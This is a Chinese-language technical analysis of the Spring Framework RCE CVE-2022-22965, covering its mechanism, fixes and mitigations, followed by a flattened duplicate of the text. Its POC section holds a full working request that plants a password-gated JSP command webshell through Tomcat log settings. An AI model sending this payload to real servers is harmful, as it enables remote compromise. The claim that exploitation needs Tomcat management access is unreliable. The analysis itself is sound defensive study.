Spring-Framework RCE(CVE-2022-22965)分析
字数 2007 2025-08-07 08:22:39

Spring Framework RCE漏洞(CVE-2022-22965)深入分析与复现

0x00 漏洞概述

CVE-2022-22965是Spring Framework中的一个远程代码执行漏洞,本质上是CVE-2010-1622的绕过版本。该漏洞允许攻击者通过特制的HTTP请求修改Tomcat日志配置,实现任意文件写入和远程代码执行。

0x01 环境搭建

调试环境配置

  1. Tomcat配置

    • 在Windows环境下修改catalina.bat,增加调试参数:
      agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=*:5005
      
  2. IDEA配置

    • 打开Tomcat所在目录,添加Maven框架支持
    • 新建project文件夹并添加Maven支持
    • 编写Spring代码生成WAR包,放入Tomcat的webapps目录
    • 配置IDEA远程调试连接到Tomcat

0x02 前置知识

Spring IoC机制

  • 控制反转(IoC):将POJO和Bean的管理交给Spring容器
  • 依赖注入:Spring负责对象的创建和依赖关系的维护
  • 优势:开发者只需关注业务逻辑,无需关心对象创建和管理

参数绑定机制

  1. 基本绑定

    @RequestMapping("/bind")
    @ResponseBody
    public String bindTest(User user){
        return user.toString();
    }
    
    • 通过URL参数自动绑定到POJO对象
    • 需要对应的getter/setter方法
  2. 层级绑定

    public class UserInfo {
        private Secret secret;
        // getter/setter
    }
    
    • 支持secret.passwd=value形式的参数绑定
    • Spring通过反射调用getter/setter完成赋值

Java内省(Introspector)

  • 功能:检查Bean的属性、方法和事件
  • 特点
    • 通过PropertyDescriptor获取Bean信息
    • 会递归检查父类属性
    • 即使没有定义属性,只要有getter/setter也会被视为属性
    • 所有类都有class属性(继承自Object类)

BeanWrapperImpl

  • 作用:Spring中用于操作Bean属性的核心类
  • 关键方法
    • getPropertyValue():获取属性值
    • setPropertyValue():设置属性值
  • 实现原理:基于Java内省机制

Tomcat日志机制

  • AccessLogValve:Tomcat的访问日志阀门
  • 关键配置
    • pattern:日志格式
    • suffix:日志文件后缀
    • directory:日志目录
    • prefix:日志文件前缀
  • 变量替换:使用%{xxx}格式,参考Tomcat文档

0x03 漏洞分析

POC示例

POST / HTTP/1.1
Host: ip:port
Content-Type: application/x-www-form-urlencoded
Content-Length: 803

class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bprefix%7Diif(%22023%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20=%20Runtime.getRuntime().exec(request.getParameter(%22i%22)).getInputStream();%20int%20a%20=%20-1;%20byte%5B%5D%20b%20=%20new%20byte%5B2048%5D;%20out.print(%22%3Cpre%3E%22);%20while((a=in.read(b))!=-1)%7B%20out.println(new%20String(b));%20%7D%20out.print(%22%3C%2fpre%3E%22);%20%7D%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=a&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat

漏洞触发流程

  1. 参数解析

    • Spring解析class.module.classLoader...形式的参数
    • .分割属性名,递归获取属性
  2. 属性访问链

    User.getClass()
        → java.lang.Class.getModule()
            → java.lang.Module.getClassLoader()
                → org.apache.catalina.loader.ParallelWebappClassLoader.getResources()
                    → org.apache.catalina.webresources.StandardRoot.getContext()
                        → org.apache.catalina.core.StandardContext.getParent()
                            → org.apache.catalina.core.StandardHost.getPipeline()
                                → org.apache.catalina.core.StandardPipeline.getFirst()
                                    → org.apache.catalina.valves.AccessLogValve.setXxx()
    
  3. 绕过原理

    • 原始防御只检查class.classLoader
    • JDK9+引入了module概念,使用class.module.classLoader绕过检查
  4. 利用效果

    • 修改Tomcat日志配置
    • 写入恶意JSP文件到web目录
    • 实现远程代码执行

0x04 漏洞修复

Spring修复方案

  • 修复提交:https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15
  • 修复内容
    • 限制只能获取name或以Name结尾的PropertyDescriptor
    • 防止通过特殊属性链访问危险方法

Tomcat修复方案

  • 修复提交:https://github.com/apache/tomcat/commit/1abcf3f4d741c824ae490009fe32ce300f10eddc
  • 修复内容
    • 限制对org.apache.catalina.loader.ParallelWebappClassLoader.getResources()的访问

0x05 影响范围与限制

  1. JDK版本:仅影响JDK9及以上版本
  2. 部署方式
    • 主要影响传统Tomcat部署的Spring应用
    • Spring Boot默认不受影响(使用嵌入式容器)
  3. 利用条件
    • 需要应用使用参数绑定功能
    • 需要能够访问Tomcat的管理接口

0x06 防御建议

  1. 升级Spring Framework

    • 5.3.18+
    • 5.2.20+
  2. 临时缓解措施

    • 在Web应用中添加参数过滤
    • 限制对class.*等敏感参数的绑定
  3. 环境加固

    • 使用JDK8(不受此漏洞影响)
    • 考虑使用Spring Boot替代传统部署方式

0x07 总结

CVE-2022-22965漏洞展示了框架特性与安全机制的微妙关系:

  1. JDK新特性可能引入新的攻击面
  2. 框架的安全检查需要与时俱进
  3. 参数绑定等便利功能可能带来安全隐患
  4. 多层防御(框架+容器)能有效降低风险

该漏洞的实际危害受限于JDK版本和部署方式,但仍需引起足够重视,及时更新补丁。

Spring Framework RCE漏洞(CVE-2022-22965)深入分析与复现 0x00 漏洞概述 CVE-2022-22965是Spring Framework中的一个远程代码执行漏洞,本质上是CVE-2010-1622的绕过版本。该漏洞允许攻击者通过特制的HTTP请求修改Tomcat日志配置,实现任意文件写入和远程代码执行。 0x01 环境搭建 调试环境配置 Tomcat配置 : 在Windows环境下修改 catalina.bat ,增加调试参数: IDEA配置 : 打开Tomcat所在目录,添加Maven框架支持 新建project文件夹并添加Maven支持 编写Spring代码生成WAR包,放入Tomcat的webapps目录 配置IDEA远程调试连接到Tomcat 0x02 前置知识 Spring IoC机制 控制反转(IoC) :将POJO和Bean的管理交给Spring容器 依赖注入 :Spring负责对象的创建和依赖关系的维护 优势 :开发者只需关注业务逻辑,无需关心对象创建和管理 参数绑定机制 基本绑定 : 通过URL参数自动绑定到POJO对象 需要对应的getter/setter方法 层级绑定 : 支持 secret.passwd=value 形式的参数绑定 Spring通过反射调用getter/setter完成赋值 Java内省(Introspector) 功能 :检查Bean的属性、方法和事件 特点 : 通过 PropertyDescriptor 获取Bean信息 会递归检查父类属性 即使没有定义属性,只要有getter/setter也会被视为属性 所有类都有 class 属性(继承自Object类) BeanWrapperImpl 作用 :Spring中用于操作Bean属性的核心类 关键方法 : getPropertyValue() :获取属性值 setPropertyValue() :设置属性值 实现原理 :基于Java内省机制 Tomcat日志机制 AccessLogValve :Tomcat的访问日志阀门 关键配置 : pattern :日志格式 suffix :日志文件后缀 directory :日志目录 prefix :日志文件前缀 变量替换 :使用 %{xxx} 格式,参考Tomcat文档 0x03 漏洞分析 POC示例 漏洞触发流程 参数解析 : Spring解析 class.module.classLoader... 形式的参数 按 . 分割属性名,递归获取属性 属性访问链 : 绕过原理 : 原始防御只检查 class.classLoader JDK9+引入了 module 概念,使用 class.module.classLoader 绕过检查 利用效果 : 修改Tomcat日志配置 写入恶意JSP文件到web目录 实现远程代码执行 0x04 漏洞修复 Spring修复方案 修复提交 :https://github.com/spring-projects/spring-framework/commit/002546b3e4b8d791ea6acccb81eb3168f51abb15 修复内容 : 限制只能获取 name 或以 Name 结尾的 PropertyDescriptor 防止通过特殊属性链访问危险方法 Tomcat修复方案 修复提交 :https://github.com/apache/tomcat/commit/1abcf3f4d741c824ae490009fe32ce300f10eddc 修复内容 : 限制对 org.apache.catalina.loader.ParallelWebappClassLoader.getResources() 的访问 0x05 影响范围与限制 JDK版本 :仅影响JDK9及以上版本 部署方式 : 主要影响传统Tomcat部署的Spring应用 Spring Boot默认不受影响(使用嵌入式容器) 利用条件 : 需要应用使用参数绑定功能 需要能够访问Tomcat的管理接口 0x06 防御建议 升级Spring Framework : 5.3.18+ 5.2.20+ 临时缓解措施 : 在Web应用中添加参数过滤 限制对 class.* 等敏感参数的绑定 环境加固 : 使用JDK8(不受此漏洞影响) 考虑使用Spring Boot替代传统部署方式 0x07 总结 CVE-2022-22965漏洞展示了框架特性与安全机制的微妙关系: JDK新特性可能引入新的攻击面 框架的安全检查需要与时俱进 参数绑定等便利功能可能带来安全隐患 多层防御(框架+容器)能有效降低风险 该漏洞的实际危害受限于JDK版本和部署方式,但仍需引起足够重视,及时更新补丁。